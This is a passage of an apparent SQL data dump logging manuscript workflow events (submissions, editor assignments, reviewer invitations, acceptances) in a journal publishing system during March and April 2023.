13:38:50','Editor has Invited Reviewer',13606,'Editor',1749),(126219,'2023-03-25 13:38:51','Editor has Invited Reviewer',13606,'Editor',1749),(126220,'2023-03-25 13:38:52','Editor has Invited Reviewer',13606,'Editor',1749),(126221,'2023-03-25 13:38:52','Editor has Invited Reviewer',13606,'Editor',1749),(126222,'2023-03-25 13:38:52','Editor has Invited Reviewer',13606,'Editor',1749),(126223,'2023-03-25 13:38:53','Editor has Invited Reviewer',13606,'Editor',1749),(126224,'2023-03-25 13:38:53','Editor has Invited Reviewer',13606,'Editor',1749),(126225,'2023-03-25 13:38:54','Editor has Invited Reviewer',13606,'Editor',1749),(126226,'2023-03-25 13:38:54','Editor has Invited Reviewer',13606,'Editor',1749),(126227,'2023-03-25 13:38:54','Editor has Invited Reviewer',13606,'Editor',1749),(126228,'2023-03-25 13:38:55','Editor has Invited Reviewer',13606,'Editor',1749),(126229,'2023-03-25 13:38:56','Editor has Invited Reviewer',13606,'Editor',1749),(126230,'2023-03-25 13:38:56','Editor has Invited Reviewer',13606,'Editor',1749),(126231,'2023-03-25 13:38:56','Editor has Invited Reviewer',13606,'Editor',1749),(126232,'2023-03-25 13:38:57','Editor has Invited Reviewer',13606,'Editor',1749),(126233,'2023-03-25 13:38:57','Editor has Invited Reviewer',13606,'Editor',1749),(126234,'2023-03-25 13:38:58','Editor has Invited Reviewer',13606,'Editor',1749),(126235,'2023-03-25 13:38:58','Editor has Invited Reviewer',13606,'Editor',1749),(126236,'2023-03-25 13:38:59','Editor has Invited Reviewer',13606,'Editor',1749),(126237,'2023-03-25 13:38:59','Editor has Invited Reviewer',13606,'Editor',1749),(126238,'2023-03-25 13:39:00','Editor has Invited Reviewer',13606,'Editor',1749),(126239,'2023-03-25 13:39:00','Editor has Invited Reviewer',13606,'Editor',1749),(126240,'2023-03-25 13:39:01','Editor has Invited Reviewer',13606,'Editor',1749),(126241,'2023-03-25 13:39:01','Editor has Invited Reviewer',13606,'Editor',1749),(126242,'2023-03-25 13:39:01','Editor has Invited Reviewer',13606,'Editor',1749),(126243,'2023-03-25 13:39:02','Editor has Invited Reviewer',13606,'Editor',1749),(126244,'2023-03-25 13:39:02','Editor has Invited Reviewer',13606,'Editor',1749),(126245,'2023-03-25 13:39:03','Editor has Invited Reviewer',13606,'Editor',1749),(126246,'2023-03-25 13:39:03','Editor has Invited Reviewer',13606,'Editor',1749),(126247,'2023-03-25 13:39:04','Editor has Invited Reviewer',13606,'Editor',1749),(126248,'2023-03-25 13:39:04','Editor has Invited Reviewer',13606,'Editor',1749),(126249,'2023-03-25 13:39:05','Editor has Invited Reviewer',13606,'Editor',1749),(126250,'2023-03-25 13:39:05','Editor has Invited Reviewer',13606,'Editor',1749),(126251,'2023-03-25 13:39:06','Editor has Invited Reviewer',13606,'Editor',1749),(126252,'2023-03-25 13:39:06','Editor has Invited Reviewer',13606,'Editor',1749),(126253,'2023-03-25 13:39:06','Editor has Invited Reviewer',13606,'Editor',1749),(126254,'2023-03-25 13:39:07','Editor has Invited Reviewer',13606,'Editor',1749),(126255,'2023-03-27 09:38:17','Reviewer has submitted comments',13610,'Reviewer',16381),(126256,'2023-03-27 09:43:29','Reviewer has submitted comments',13609,'Reviewer',15397),(126257,'2023-03-27 09:46:32','Reviewer has submitted comments',13608,'Reviewer',15182),(126258,'2023-03-27 09:48:26','Reviewer has submitted comments',13607,'Reviewer',16324),(126259,'2023-03-27 09:49:18','Editor has Accepted to review Manuscript',13610,'Editor',1732),(126260,'2023-03-27 09:49:22','Editor has Accepted to review Manuscript',13609,'Editor',1732),(126261,'2023-03-27 09:49:27','Editor has Accepted to review Manuscript',13608,'Editor',1732),(126262,'2023-03-27 09:49:31','Editor has Accepted to review Manuscript',13607,'Editor',1732),(126263,'2023-03-27 09:49:40','Editor has been Editor Decision Accepted article',13610,'Editor',1732),(126264,'2023-03-27 09:49:54','Editor has been Editor Decision Accepted article',13609,'Editor',1732),(126265,'2023-03-27 09:50:05','Editor has been Editor Decision Accepted article',13608,'Editor',1732),(126266,'2023-03-27 09:50:16','Editor has been Editor Decision Accepted article',13607,'Editor',1732),(126267,'2023-03-27 09:51:06','Manuscript Updated',13610,'Publisher',673),(126268,'2023-03-27 09:51:35','Publisher has been Accepted Articles  article',13610,'Publisher',673),(126269,'2023-03-27 09:52:15','Manuscript Updated',13609,'Publisher',673),(126270,'2023-03-27 09:52:35','Publisher has been Accepted Articles  article',13609,'Publisher',673),(126271,'2023-03-27 09:52:49','Manuscript Updated',13608,'Publisher',673),(126272,'2023-03-27 09:52:59','Manuscript Updated',13608,'Publisher',673),(126273,'2023-03-27 09:53:14','Publisher has been Accepted Articles  article',13608,'Publisher',673),(126274,'2023-03-27 09:53:29','Manuscript Updated',13607,'Publisher',673),(126275,'2023-03-27 09:53:43','Publisher has been Accepted Articles  article',13607,'Publisher',673),(126276,'2023-03-27 14:19:42','Publisher has been Assigned Editor',13613,'Publisher',1009),(126277,'2023-03-27 15:52:46','Editor has Accepted to review Manuscript',13613,'Editor',1749),(126278,'2023-03-27 15:56:07','Editor has Invited Reviewer',13613,'Editor',1749),(126279,'2023-03-27 15:56:07','Editor has Invited Reviewer',13613,'Editor',1749),(126280,'2023-03-27 15:56:08','Editor has Invited Reviewer',13613,'Editor',1749),(126281,'2023-03-27 15:56:08','Editor has Invited Reviewer',13613,'Editor',1749),(126282,'2023-03-27 16:16:28','Editor has Invited Reviewer',13613,'Editor',1749),(126283,'2023-03-27 16:16:29','Editor has Invited Reviewer',13613,'Editor',1749),(126284,'2023-03-27 16:16:30','Editor has Invited Reviewer',13613,'Editor',1749),(126285,'2023-03-27 16:16:30','Editor has Invited Reviewer',13613,'Editor',1749),(126286,'2023-03-27 16:17:41','Editor has Invited Reviewer',13613,'Editor',1749),(126287,'2023-03-27 16:17:41','Editor has Invited Reviewer',13613,'Editor',1749),(126288,'2023-03-27 16:17:41','Editor has Invited Reviewer',13613,'Editor',1749),(126289,'2023-03-27 16:17:42','Editor has Invited Reviewer',13613,'Editor',1749),(126290,'2023-03-27 16:17:43','Editor has Invited Reviewer',13613,'Editor',1749),(126291,'2023-03-27 16:17:43','Editor has Invited Reviewer',13613,'Editor',1749),(126292,'2023-03-27 16:17:44','Editor has Invited Reviewer',13613,'Editor',1749),(126293,'2023-03-27 16:17:44','Editor has Invited Reviewer',13613,'Editor',1749),(126294,'2023-03-27 16:17:44','Editor has Invited Reviewer',13613,'Editor',1749),(126295,'2023-03-27 16:17:45','Editor has Invited Reviewer',13613,'Editor',1749),(126296,'2023-03-27 16:17:45','Editor has Invited Reviewer',13613,'Editor',1749),(126297,'2023-03-27 16:18:57','Editor has Accepted to review Manuscript',13141,'Editor',1749),(126298,'2023-03-27 16:20:00','Editor has been Editor Decision Accepted article',13141,'Editor',1749),(126299,'2023-03-27 16:20:37','Editor has Accepted to review Manuscript',13140,'Editor',1749),(126300,'2023-03-27 16:21:03','Editor has been Editor Decision Accepted article',13140,'Editor',1749),(126301,'2023-03-27 16:21:41','Editor has been Editor Decision Accepted article',13140,'Editor',1749),(126302,'2023-03-27 16:40:23','Manuscript Submitted by Author using Submission form',13614,'Author',13761),(126303,'2023-03-28 09:05:04','Publisher has been Assigned Editor',13612,'Publisher',48),(126304,'2023-03-28 09:57:39','Publisher has been Assigned Editor',13602,'Publisher',274),(126305,'2023-03-28 09:57:48','Publisher has been Assigned Editor',13601,'Publisher',274),(126306,'2023-03-28 09:57:56','Publisher has been Assigned Editor',13603,'Publisher',274),(126307,'2023-03-28 09:58:05','Publisher has been Assigned Editor',13600,'Publisher',274),(126308,'2023-03-28 09:58:30','Publisher has been Assigned Editor',13599,'Publisher',274),(126309,'2023-03-28 14:05:46','Manuscript Submitted by Author using Submission form',13615,'Author',13762),(126310,'2023-03-28 14:07:55','Manuscript Submitted by Author using Submission form',13616,'Author',13763),(126311,'2023-03-28 14:09:53','Manuscript Submitted by Author using Submission form',13617,'Author',13764),(126312,'2023-03-28 14:20:03','Manuscript Submitted by Author using Submission form',13618,'Author',13765),(126313,'2023-03-28 14:22:20','Manuscript Submitted by Author using Submission form',13619,'Author',13766),(126314,'2023-03-28 14:26:54','Manuscript Submitted by Publisher',13620,'Publisher',48),(126315,'2023-03-28 18:18:37','Manuscript Updated',13569,'Publisher',319),(126316,'2023-03-28 20:16:16','Editor has been Editor Decision Accepted article',8158,'Editor',1664),(126317,'2023-03-28 20:16:49','Editor has been Editor Decision Accepted article',9332,'Editor',1664),(126318,'2023-03-28 20:17:18','Editor has Accepted to review Manuscript',13600,'Editor',1664),(126319,'2023-03-28 20:18:06','Editor has Invited Reviewer',13600,'Editor',1664),(126320,'2023-03-28 20:18:07','Editor has Invited Reviewer',13600,'Editor',1664),(126321,'2023-03-28 20:18:07','Editor has Invited Reviewer',13600,'Editor',1664),(126322,'2023-03-28 20:18:08','Editor has Invited Reviewer',13600,'Editor',1664),(126323,'2023-03-28 20:18:08','Editor has Invited Reviewer',13600,'Editor',1664),(126324,'2023-03-28 21:28:22','Reviewer has submitted comments',13600,'Reviewer',9909),(126325,'2023-03-29 14:20:49','Editor has been Editor Decision Accepted article',13600,'Editor',1664),(126326,'2023-03-29 17:37:31','Publisher has been Assigned Editor',13620,'Publisher',48),(126327,'2023-03-29 18:04:24','Publisher has been Accepted Articles  article',13556,'',1050),(126328,'2023-03-29 18:04:37','Publisher has been Assigned Editor',13595,'',1050),(126329,'2023-03-29 18:05:37','Editor has Accepted to review Manuscript',13595,'Editor',161),(126330,'2023-03-29 18:05:46','Editor has been Editor Decision Accepted article',13595,'Editor',161),(126331,'2023-03-30 10:51:57','Publisher has been Accepted Articles  article',13568,'Publisher',319),(126332,'2023-03-30 10:52:19','Publisher has been Accepted Articles  article',13569,'Publisher',319),(126333,'2023-03-30 10:52:33','Publisher has been Accepted Articles  article',13571,'Publisher',319),(126334,'2023-03-30 10:52:51','Publisher has been Accepted Articles  article',13573,'Publisher',319),(126335,'2023-03-30 10:53:13','Publisher has been Accepted Articles  article',13574,'Publisher',319),(126336,'2023-03-30 11:56:12','Publisher has Invited Reviewer',13598,'Publisher',48),(126337,'2023-03-30 11:56:17','Publisher has Invited Reviewer',13598,'Publisher',48),(126338,'2023-03-30 11:56:21','Publisher has Invited Reviewer',13598,'Publisher',48),(126339,'2023-03-30 11:56:26','Publisher has Invited Reviewer',13598,'Publisher',48),(126340,'2023-03-30 17:36:04','Manuscript Submitted by Author using Submission form',13621,'Author',13768),(126341,'2023-03-31 11:29:24','Publisher has been Assigned Editor',13621,'Publisher',972),(126342,'2023-03-31 11:29:59','Publisher has Invited Reviewer',13621,'Publisher',972),(126343,'2023-03-31 11:30:12','Publisher has Invited Reviewer',13621,'Publisher',972),(126344,'2023-03-31 11:30:16','Publisher has Invited Reviewer',13621,'Publisher',972),(126345,'2023-03-31 11:30:21','Publisher has Invited Reviewer',13621,'Publisher',972),(126346,'2023-03-31 11:30:26','Publisher has Invited Reviewer',13621,'Publisher',972),(126347,'2023-03-31 11:30:38','Publisher has Invited Reviewer',13621,'Publisher',972),(126348,'2023-03-31 11:30:43','Publisher has Invited Reviewer',13621,'Publisher',972),(126349,'2023-03-31 11:30:48','Publisher has Invited Reviewer',13621,'Publisher',972),(126350,'2023-03-31 11:31:00','Publisher has Invited Reviewer',13621,'Publisher',972),(126351,'2023-03-31 11:31:12','Publisher has Invited Reviewer',13621,'Publisher',972),(126352,'2023-03-31 11:31:26','Publisher has Invited Reviewer',13621,'Publisher',972),(126353,'2023-03-31 11:31:31','Publisher has Invited Reviewer',13621,'Publisher',972),(126354,'2023-03-31 11:31:36','Publisher has Invited Reviewer',13621,'Publisher',972),(126355,'2023-03-31 11:31:51','Publisher has Invited Reviewer',13621,'Publisher',972),(126356,'2023-03-31 11:32:18','Publisher has Invited Reviewer',13621,'Publisher',972),(126357,'2023-03-31 11:32:23','Publisher has Invited Reviewer',13621,'Publisher',972),(126358,'2023-03-31 11:32:28','Publisher has Invited Reviewer',13621,'Publisher',972),(126359,'2023-03-31 11:32:41','Publisher has Invited Reviewer',13621,'Publisher',972),(126360,'2023-03-31 11:32:46','Publisher has Invited Reviewer',13621,'Publisher',972),(126361,'2023-03-31 11:32:51','Publisher has Invited Reviewer',13621,'Publisher',972),(126362,'2023-03-31 11:32:56','Publisher has Invited Reviewer',13621,'Publisher',972),(126363,'2023-03-31 11:33:01','Publisher has Invited Reviewer',13621,'Publisher',972),(126364,'2023-03-31 11:33:06','Publisher has Invited Reviewer',13621,'Publisher',972),(126365,'2023-03-31 11:33:39','Publisher has Invited Reviewer',13621,'Publisher',972),(126366,'2023-03-31 11:33:44','Publisher has Invited Reviewer',13621,'Publisher',972),(126367,'2023-03-31 11:33:48','Publisher has Invited Reviewer',13621,'Publisher',972),(126368,'2023-03-31 16:57:32','Manuscript Submitted by Author using Submission form',13622,'Author',13769),(126369,'2023-03-31 17:18:00','Manuscript Submitted by Author using Submission form',13623,'Author',13770),(126370,'2023-03-31 17:38:44','Manuscript Submitted by Author using Submission form',13624,'Author',13771),(126371,'2023-03-31 18:26:47','Manuscript Submitted by Author using Submission form',13625,'Author',13772),(126372,'2023-03-31 18:32:41','Manuscript Submitted by Author using Submission form',13626,'Author',13773),(126373,'2023-04-04 10:20:55','Editor has Accepted to review Manuscript',13599,'Editor',1594),(126374,'2023-04-04 10:21:10','Editor has been Editor Decision Accepted article',13599,'Editor',1594),(126375,'2023-04-04 10:21:34','Editor has Accepted to review Manuscript',13601,'Editor',1668),(126376,'2023-04-04 10:21:48','Editor has been Editor Decision Accepted article',13601,'Editor',1668),(126377,'2023-04-04 10:22:29','Editor has Accepted to review Manuscript',13602,'Editor',1669),(126378,'2023-04-04 10:22:40','Editor has been Editor Decision Accepted article',13602,'Editor',1669),(126379,'2023-04-04 10:23:39','Editor has Accepted to review Manuscript',13603,'Editor',1663),(126380,'2023-04-04 10:23:52','Editor has been Editor Decision Accepted article',13603,'Editor',1663),(126381,'2023-04-04 10:24:45','Publisher has been Accepted Articles  article',13599,'Publisher',274),(126382,'2023-04-04 10:25:09','Publisher has been Accepted Articles  article',13600,'Publisher',274),(126383,'2023-04-04 10:25:27','Publisher has been Accepted Articles  article',13601,'Publisher',274),(126384,'2023-04-04 10:25:41','Publisher has been Accepted Articles  article',13602,'Publisher',274),(126385,'2023-04-04 10:25:53','Publisher has been Accepted Articles  article',13603,'Publisher',274),(126386,'2023-04-04 14:06:40','Publisher has Invited Reviewer',13620,'Publisher',48),(126387,'2023-04-04 14:06:44','Publisher has Invited Reviewer',13620,'Publisher',48),(126388,'2023-04-04 14:06:49','Publisher has Invited Reviewer',13620,'Publisher',48),(126389,'2023-04-04 14:06:54','Publisher has Invited Reviewer',13620,'Publisher',48),(126390,'2023-04-04 14:06:59','Publisher has Invited Reviewer',13620,'Publisher',48),(126391,'2023-04-04 14:38:31','Publisher has Invited Reviewer',13612,'Publisher',48),(126392,'2023-04-04 14:38:36','Publisher has Invited Reviewer',13612,'Publisher',48),(126393,'2023-04-04 14:38:41','Publisher has Invited Reviewer',13612,'Publisher',48),(126394,'2023-04-04 14:38:46','Publisher has Invited Reviewer',13612,'Publisher',48),(126395,'2023-04-05 01:04:42','Manuscript Submitted by Author using Submission form',13627,'Author',13774),(126396,'2023-04-05 13:47:57','Manuscript Submitted by Publisher',13628,'Publisher',1009),(126397,'2023-04-05 13:51:16','Manuscript Submitted by Publisher',13629,'Publisher',1009),(126398,'2023-04-05 14:29:04','Publisher has been Assigned Editor',13420,'',1315),(126399,'2023-04-05 14:30:59','Publisher has been Accepted Articles  article',13421,'',1274),(126400,'2023-04-05 14:32:02','Publisher has been Accepted Articles  article',13449,'',1441),(126401,'2023-04-05 15:25:53','Manuscript Submitted by Publisher',13630,'Publisher',1009),(126402,'2023-04-05 16:35:50','Publisher has Unassign Editor',13420,'',1315),(126403,'2023-04-05 16:38:36','Manuscript Submitted by Publisher',13631,'Publisher',673),(126404,'2023-04-05 16:40:05','Manuscript Submitted by Publisher',13632,'Publisher',673),(126405,'2023-04-05 16:41:30','Manuscript Submitted by Publisher',13633,'Publisher',673),(126406,'2023-04-05 16:42:53','Manuscript Submitted by Publisher',13634,'Publisher',673),(126407,'2023-04-05 17:04:59','Publisher has been Accepted Articles  article',13420,'',1315),(126408,'2023-04-05 17:51:35','Publisher has been Assigned Editor',13627,'Publisher',645),(126409,'2023-04-05 17:52:05','Publisher has Invited Reviewer',13627,'Publisher',645),(126410,'2023-04-05 17:52:10','Publisher has Invited Reviewer',13627,'Publisher',645),(126411,'2023-04-05 17:52:15','Publisher has Invited Reviewer',13627,'Publisher',645),(126412,'2023-04-05 17:52:20','Publisher has Invited Reviewer',13627,'Publisher',645),(126413,'2023-04-05 17:52:26','Publisher has Invited Reviewer',13627,'Publisher',645),(126414,'2023-04-05 17:52:31','Publisher has Invited Reviewer',13627,'Publisher',645),(126415,'2023-04-06 09:27:58','Publisher has been Accepted Articles  article',13420,'',1315),(126416,'2023-04-06 10:19:56','Editor has Accepted to review Manuscript',13588,'Editor',162),(126417,'2023-04-06 10:20:01','Editor has been Editor Decision Accepted article',13588,'Editor',162),(126418,'2023-04-06 10:20:34','Publisher has been Accepted Articles  article',13588,'Publisher',75),(126419,'2023-04-06 14:21:57','Reviewer has submitted comments',13621,'Reviewer',17204),(126420,'2023-04-06 14:22:13','Editor has Accepted to review Manuscript',13621,'Editor',1784),(126421,'2023-04-06 14:22:43','Editor has been Editor Decision Accepted article',13621,'Editor',1784),(126422,'2023-04-06 14:42:01','Manuscript Updated',13621,'Publisher',972),(126423,'2023-04-06 14:42:49','Publisher has been Accepted Articles  article',13621,'Publisher',972),(126424,'2023-04-06 14:42:51','Publisher has been Accepted Articles  article',13621,'Publisher',972),(126425,'2023-04-06 14:43:01','Manuscript Updated',13621,'Publisher',972),(126426,'2023-04-06 14:55:11','Publisher has been Assigned Editor',13634,'Publisher',673),(126427,'2023-04-06 14:55:26','Publisher has been Assigned Editor',13633,'Publisher',673),(126428,'2023-04-06 14:55:38','Publisher has been Assigned Editor',13631,'Publisher',673),(126429,'2023-04-06 15:01:18','Publisher has Invited Reviewer',13634,'Publisher',673),(126430,'2023-04-06 15:01:23','Publisher has Invited Reviewer',13634,'Publisher',673),(126431,'2023-04-06 15:01:28','Publisher has Invited Reviewer',13634,'Publisher',673),(126432,'2023-04-06 15:01:32','Publisher has Invited Reviewer',13634,'Publisher',673),(126433,'2023-04-06 15:01:37','Publisher has Invited Reviewer',13634,'Publisher',673),(126434,'2023-04-06 15:02:39','Publisher has Invited Reviewer',13633,'Publisher',673),(126435,'2023-04-06 15:02:44','Publisher has Invited Reviewer',13633,'Publisher',673),(126436,'2023-04-06 15:02:49','Publisher has Invited Reviewer',13633,'Publisher',673),(126437,'2023-04-06 15:02:53','Publisher has Invited Reviewer',13633,'Publisher',673),(126438,'2023-04-06 15:02:58','Publisher has Invited Reviewer',13633,'Publisher',673),(126439,'2023-04-06 15:03:03','Publisher has Invited Reviewer',13633,'Publisher',673),(126440,'2023-04-06 15:03:39','Publisher has Invited Reviewer',13631,'Publisher',673),(126441,'2023-04-06 15:03:43','Publisher has Invited Reviewer',13631,'Publisher',673),(126442,'2023-04-06 15:03:48','Publisher has Invited Reviewer',13631,'Publisher',673),(126443,'2023-04-06 15:03:53','Publisher has Invited Reviewer',13631,'Publisher',673),(126444,'2023-04-06 15:03:58','Publisher has Invited Reviewer',13631,'Publisher',673),(126445,'2023-04-06 15:11:35','Publisher has been Assigned Editor',13628,'Publisher',1009),(126446,'2023-04-06 15:11:47','Publisher has been Assigned Editor',13629,'Publisher',1009),(126447,'2023-04-06 15:11:56','Publisher has been Assigned Editor',13630,'Publisher',1009),(126448,'2023-04-06 17:10:08','Publisher has been Assigned Editor',13626,'Publisher',984),(126449,'2023-04-06 17:10:23','Publisher has been Assigned Editor',13625,'Publisher',984),(126450,'2023-04-06 17:10:39','Publisher has been Assigned Editor',13624,'Publisher',984),(126451,'2023-04-06 17:10:52','Publisher has been Assigned Editor',13623,'Publisher',984),(126452,'2023-04-06 17:11:12','Publisher has been Assigned Editor',13622,'Publisher',984),(126453,'2023-04-07 09:35:06','Manuscript Submitted by Publisher',13635,'Publisher',75),(126454,'2023-04-07 09:37:22','Manuscript Submitted by Publisher',13636,'Publisher',75),(126455,'2023-04-07 09:39:06','Manuscript Submitted by Publisher',13637,'Publisher',75),(126456,'2023-04-07 09:40:50','Manuscript Submitted by Publisher',13638,'Publisher',75),(126457,'2023-04-07 10:38:46','Manuscript Submitted by Author using Submission form',13639,'Author',13783),(126458,'2023-04-07 11:21:17','Manuscript Submitted by Publisher',13640,'Publisher',85),(126459,'2023-04-07 11:23:33','Manuscript Submitted by Publisher',13641,'Publisher',85),(126460,'2023-04-07 11:27:34','Manuscript Submitted by Publisher',13642,'Publisher',85),(126461,'2023-04-07 11:29:27','Manuscript Submitted by Publisher',13643,'Publisher',85),(126462,'2023-04-07 11:38:14','Manuscript Submitted by Publisher',13644,'Publisher',85),(126463,'2023-04-07 13:56:57','Publisher has been Assigned Editor',13619,'Publisher',274),(126464,'2023-04-07 13:57:08','Publisher has been Assigned Editor',13618,'Publisher',274),(126465,'2023-04-07 13:57:17','Publisher has been Assigned Editor',13617,'Publisher',274),(126466,'2023-04-07 13:57:30','Publisher has been Assigned Editor',13616,'Publisher',274),(126467,'2023-04-07 13:57:39','Publisher has been Assigned Editor',13615,'Publisher',274),(126468,'2023-04-10 04:35:40','Manuscript Submitted by Author using Submission form',13645,'Author',13789),(126469,'2023-04-10 10:21:56','Editor has Accepted to review Manuscript',13619,'Editor',1789),(126470,'2023-04-10 10:22:17','Editor has been Editor Decision Accepted article',13619,'Editor',1789),(126471,'2023-04-10 10:22:23','Editor has Accepted to review Manuscript',13618,'Editor',1789),(126472,'2023-04-10 10:22:28','Editor has been Editor Decision Accepted article',13618,'Editor',1789),(126473,'2023-04-10 10:22:33','Editor has Accepted to review Manuscript',13617,'Editor',1789),(126474,'2023-04-10 10:22:40','Editor has been Editor Decision Accepted article',13617,'Editor',1789),(126475,'2023-04-10 10:22:46','Editor has Accepted to review Manuscript',13616,'Editor',1789),(126476,'2023-04-10 10:22:53','Editor has been Editor Decision Accepted article',13616,'Editor',1789),(126477,'2023-04-10 10:22:59','Editor has Accepted to review Manuscript',13615,'Editor',1789),(126478,'2023-04-10 10:23:06','Editor has been Editor Decision Accepted article',13615,'Editor',1789),(126479,'2023-04-10 10:24:29','Publisher has been Accepted Articles  article',13615,'Publisher',274),(126480,'2023-04-10 10:24:44','Publisher has been Accepted Articles  article',13616,'Publisher',274),(126481,'2023-04-10 10:24:59','Publisher has been Accepted Articles  article',13617,'Publisher',274),(126482,'2023-04-10 10:25:12','Publisher has been Accepted Articles  article',13618,'Publisher',274),(126483,'2023-04-10 10:25:26','Publisher has been Accepted Articles  article',13619,'Publisher',274),(126484,'2023-04-10 10:48:52','Publisher has been Assigned Editor',13644,'Publisher',85),(126485,'2023-04-10 10:49:13','Publisher has been Assigned Editor',13643,'Publisher',85),(126486,'2023-04-10 10:49:29','Publisher has been Assigned Editor',13642,'Publisher',85),(126487,'2023-04-10 10:49:42','Publisher has been Assigned Editor',13641,'Publisher',85),(126488,'2023-04-10 10:49:55','Publisher has been Assigned Editor',13640,'Publisher',85),(126489,'2023-04-10 10:50:52','Editor has Accepted to review Manuscript',13640,'Editor',1574),(126490,'2023-04-10 10:51:08','Editor has been Editor Decision Accepted article',13640,'Editor',1574),(126491,'2023-04-10 10:51:24','Editor has Accepted to review Manuscript',13641,'Editor',1574),(126492,'2023-04-10 10:51:31','Editor has been Editor Decision Accepted article',13641,'Editor',1574),(126493,'2023-04-10 10:51:37','Editor has Accepted to review Manuscript',13642,'Editor',1574),(126494,'2023-04-10 10:51:44','Editor has been Editor Decision Accepted article',13642,'Editor',1574),(126495,'2023-04-10 10:51:50','Editor has Accepted to review Manuscript',13643,'Editor',1574),(126496,'2023-04-10 10:51:57','Editor has been Editor Decision Accepted article',13643,'Editor',1574),(126497,'2023-04-10 10:52:03','Editor has Accepted to review Manuscript',13644,'Editor',1574),(126498,'2023-04-10 10:52:11','Editor has been Editor Decision Accepted article',13644,'Editor',1574),(126499,'2023-04-10 11:42:16','Manuscript Updated',13644,'Publisher',85),(126500,'2023-04-10 11:42:39','Publisher has been Accepted Articles  article',13644,'Publisher',85),(126501,'2023-04-10 11:42:52','Manuscript Updated',13644,'Publisher',85),(126502,'2023-04-10 11:43:04','Manuscript Updated',13643,'Publisher',85),(126503,'2023-04-10 11:43:26','Publisher has been Accepted Articles  article',13643,'Publisher',85),(126504,'2023-04-10 11:43:35','Manuscript Updated',13643,'Publisher',85),(126505,'2023-04-10 11:43:45','Manuscript Updated',13642,'Publisher',85),(126506,'2023-04-10 11:44:26','Publisher has been Accepted Articles  article',13642,'Publisher',85),(126507,'2023-04-10 11:44:46','Manuscript Updated',13641,'Publisher',85),(126508,'2023-04-10 11:45:15','Manuscript Updated',13641,'Publisher',85),(126509,'2023-04-10 11:45:26','Publisher has been Accepted Articles  article',13641,'Publisher',85),(126510,'2023-04-10 11:45:36','Manuscript Updated',13641,'Publisher',85),(126511,'2023-04-10 11:45:52','Manuscript Updated',13640,'Publisher',85),(126512,'2023-04-10 11:46:10','Publisher has been Accepted Articles  article',13640,'Publisher',85),(126513,'2023-04-10 11:46:18','Manuscript Updated',13640,'Publisher',85),(126514,'2023-04-10 13:10:46','Publisher has been Assigned Editor',13638,'Publisher',75),(126515,'2023-04-10 13:11:00','Publisher has been Assigned Editor',13637,'Publisher',75),(126516,'2023-04-10 13:11:13','Publisher has been Assigned Editor',13636,'Publisher',75),(126517,'2023-04-10 13:11:26','Publisher has been Assigned Editor',13635,'Publisher',75),(126518,'2023-04-11 10:23:25','Publisher has been Assigned Editor',13645,'Publisher',319),(126519,'2023-04-11 10:23:43','Publisher has Invited Reviewer',13645,'Publisher',319),(126520,'2023-04-11 10:23:52','Publisher has Invited Reviewer',13645,'Publisher',319),(126521,'2023-04-11 10:23:53','Publisher has Invited Reviewer',13645,'Publisher',319),(126522,'2023-04-11 10:23:54','Publisher has Invited Reviewer',13645,'Publisher',319),(126523,'2023-04-11 10:23:55','Publisher has Invited Reviewer',13645,'Publisher',319),(126524,'2023-04-11 10:23:56','Publisher has Invited Reviewer',13645,'Publisher',319),(126525,'2023-04-11 10:23:56','Publisher has Invited Reviewer',13645,'Publisher',319),(126526,'2023-04-11 10:23:57','Publisher has Invited Reviewer',13645,'Publisher',319),(126527,'2023-04-11 10:23:58','Publisher has Invited Reviewer',13645,'Publisher',319),(126528,'2023-04-11 10:23:59','Publisher has Invited Reviewer',13645,'Publisher',319),(126529,'2023-04-11 10:24:00','Publisher has Invited Reviewer',13645,'Publisher',319),(126530,'2023-04-11 10:24:01','Publisher has Invited Reviewer',13645,'Publisher',319),(126531,'2023-04-11 10:45:22','Publisher has been Assigned Editor',13639,'Publisher',376),(126532,'2023-04-11 10:48:02','Publisher has Invited Reviewer',13639,'Publisher',376),(126533,'2023-04-11 10:48:06','Publisher has Invited Reviewer',13639,'Publisher',376),(126534,'2023-04-11 10:48:11','Publisher has Invited Reviewer',13639,'Publisher',376),(126535,'2023-04-11 10:48:16','Publisher has Invited Reviewer',13639,'Publisher',376),(126536,'2023-04-11 11:31:25','Editor has Accepted to review Manuscript',13635,'Editor',162),(126537,'2023-04-11 11:31:33','Editor has been Editor Decision Accepted article',13635,'Editor',162),(126538,'2023-04-11 11:31:42','Editor has Accepted to review Manuscript',13636,'Editor',162),(126539,'2023-04-11 11:31:52','Editor has been Editor Decision Accepted article',13636,'Editor',162),(126540,'2023-04-11 11:31:57','Editor has Accepted to review Manuscript',13637,'Editor',162),(126541,'2023-04-11 11:32:03','Editor has been Editor Decision Accepted article',13637,'Editor',162),(126542,'2023-04-11 11:32:03','Editor has been Editor Decision Accepted article',13637,'Editor',162),(126543,'2023-04-11 11:32:08','Editor has Accepted to review Manuscript',13638,'Editor',162),(126544,'2023-04-11 11:32:13','Editor has been Editor Decision Accepted article',13638,'Editor',162),(126545,'2023-04-11 11:33:20','Manuscript Updated',13635,'Publisher',75),(126546,'2023-04-11 11:33:41','Publisher has been Accepted Articles  article',13635,'Publisher',75),(126547,'2023-04-11 11:34:00','Manuscript Updated',13636,'Publisher',75),(126548,'2023-04-11 11:34:18','Publisher has been Accepted Articles  article',13636,'Publisher',75),(126549,'2023-04-11 11:34:34','Manuscript Updated',13637,'Publisher',75),(126550,'2023-04-11 11:34:49','Publisher has been Accepted Articles  article',13637,'Publisher',75),(126551,'2023-04-11 11:35:02','Manuscript Updated',13638,'Publisher',75),(126552,'2023-04-11 11:35:13','Publisher has been Accepted Articles  article',13638,'Publisher',75),(126553,'2023-04-11 14:55:31','Publisher has been Withdrawn  article',13559,'Publisher',248),(126554,'2023-04-11 17:51:51','Reviewer has submitted comments',13645,'Reviewer',12875),(126555,'2023-04-13 09:43:42','Manuscript Submitted by Publisher',13646,'Publisher',673),(126556,'2023-04-13 10:36:56','Editor has Accepted to review Manuscript',13626,'Editor',1780),(126557,'2023-04-13 10:37:08','Editor has been Editor Decision Accepted article',13626,'Editor',1780),(126558,'2023-04-13 10:37:40','Editor has Accepted to review Manuscript',13625,'Editor',1710),(126559,'2023-04-13 10:37:51','Editor has been Editor Decision Accepted article',13625,'Editor',1710),(126560,'2023-04-13 10:37:56','Editor has Accepted to review Manuscript',13622,'Editor',1710),(126561,'2023-04-13 10:38:05','Editor has been Editor Decision Accepted article',13622,'Editor',1710),(126562,'2023-04-13 10:38:44','Editor has Accepted to review Manuscript',13624,'Editor',1406),(126563,'2023-04-13 10:38:55','Editor has been Editor Decision Accepted article',13624,'Editor',1406),(126564,'2023-04-13 10:39:30','Editor has 